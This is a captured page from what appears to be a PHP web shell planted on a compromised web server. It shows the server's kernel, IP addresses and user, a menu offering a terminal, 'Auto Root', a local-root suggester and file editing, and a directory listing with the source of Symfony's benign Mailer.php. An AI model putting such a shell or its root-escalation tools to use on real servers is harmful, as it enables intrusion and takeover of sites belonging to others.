Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 52.14.165.32
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
mailer /
Delete
Unzip
Name
Size
Permission
Date
Action
DataCollector
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Event
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
EventListener
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Exception
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Header
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Messenger
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Test
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
Transport
[ DIR ]
drwxrwxr-x
2022-08-03 05:17
CHANGELOG.md
2.32
KB
-rw-rw-r--
2022-08-03 05:17
DelayedEnvelope.php
2.38
KB
-rw-rw-r--
2022-08-03 05:17
Envelope.php
2.55
KB
-rw-rw-r--
2022-08-03 05:17
LICENSE
1.04
KB
-rw-rw-r--
2022-08-03 05:17
Mailer.php
2.94
KB
-rw-rw-r--
2022-08-03 05:17
MailerInterface.php
763
B
-rw-rw-r--
2022-08-03 05:17
README.md
2.08
KB
-rw-rw-r--
2022-08-03 05:17
SentMessage.php
2.02
KB
-rw-rw-r--
2022-08-03 05:17
Transport.php
7.7
KB
-rw-rw-r--
2022-08-03 05:17
composer.json
1.18
KB
-rw-rw-r--
2022-08-03 05:17
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Psr\EventDispatcher\EventDispatcherInterface; use Symfony\Component\EventDispatcher\Event; use Symfony\Component\EventDispatcher\LegacyEventDispatcherProxy; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Messenger\SendEmailMessage; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Messenger\Exception\HandlerFailedException; use Symfony\Component\Messenger\MessageBusInterface; use Symfony\Component\Mime\RawMessage; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface as SymfonyEventDispatcherInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ final class Mailer implements MailerInterface { private $transport; private $bus; private $dispatcher; public function __construct(TransportInterface $transport, MessageBusInterface $bus = null, EventDispatcherInterface $dispatcher = null) { $this->transport = $transport; $this->bus = $bus; $this->dispatcher = class_exists(Event::class) && $dispatcher instanceof SymfonyEventDispatcherInterface ? LegacyEventDispatcherProxy::decorate($dispatcher) : $dispatcher; } public function send(RawMessage $message, Envelope $envelope = null): void { if (null === $this->bus) { $this->transport->send($message, $envelope); return; } if (null !== $this->dispatcher) { // The dispatched event here has `queued` set to `true`; the goal is NOT to render the message, but to let // listeners do something before a message is sent to the queue. // We are using a cloned message as we still want to dispatch the **original** message, not the one modified by listeners. // That's because the listeners will run again when the email is sent via Messenger by the transport (see `AbstractTransport`). // Listeners should act depending on the `$queued` argument of the `MessageEvent` instance. $clonedMessage = clone $message; $clonedEnvelope = null !== $envelope ? clone $envelope : Envelope::create($clonedMessage); $event = new MessageEvent($clonedMessage, $clonedEnvelope, (string) $this->transport, true); $this->dispatcher->dispatch($event); } try { $this->bus->dispatch(new SendEmailMessage($message, $envelope)); } catch (HandlerFailedException $e) { foreach ($e->getNestedExceptions() as $nested) { if ($nested instanceof TransportExceptionInterface) { throw $nested; } } throw $e; } } }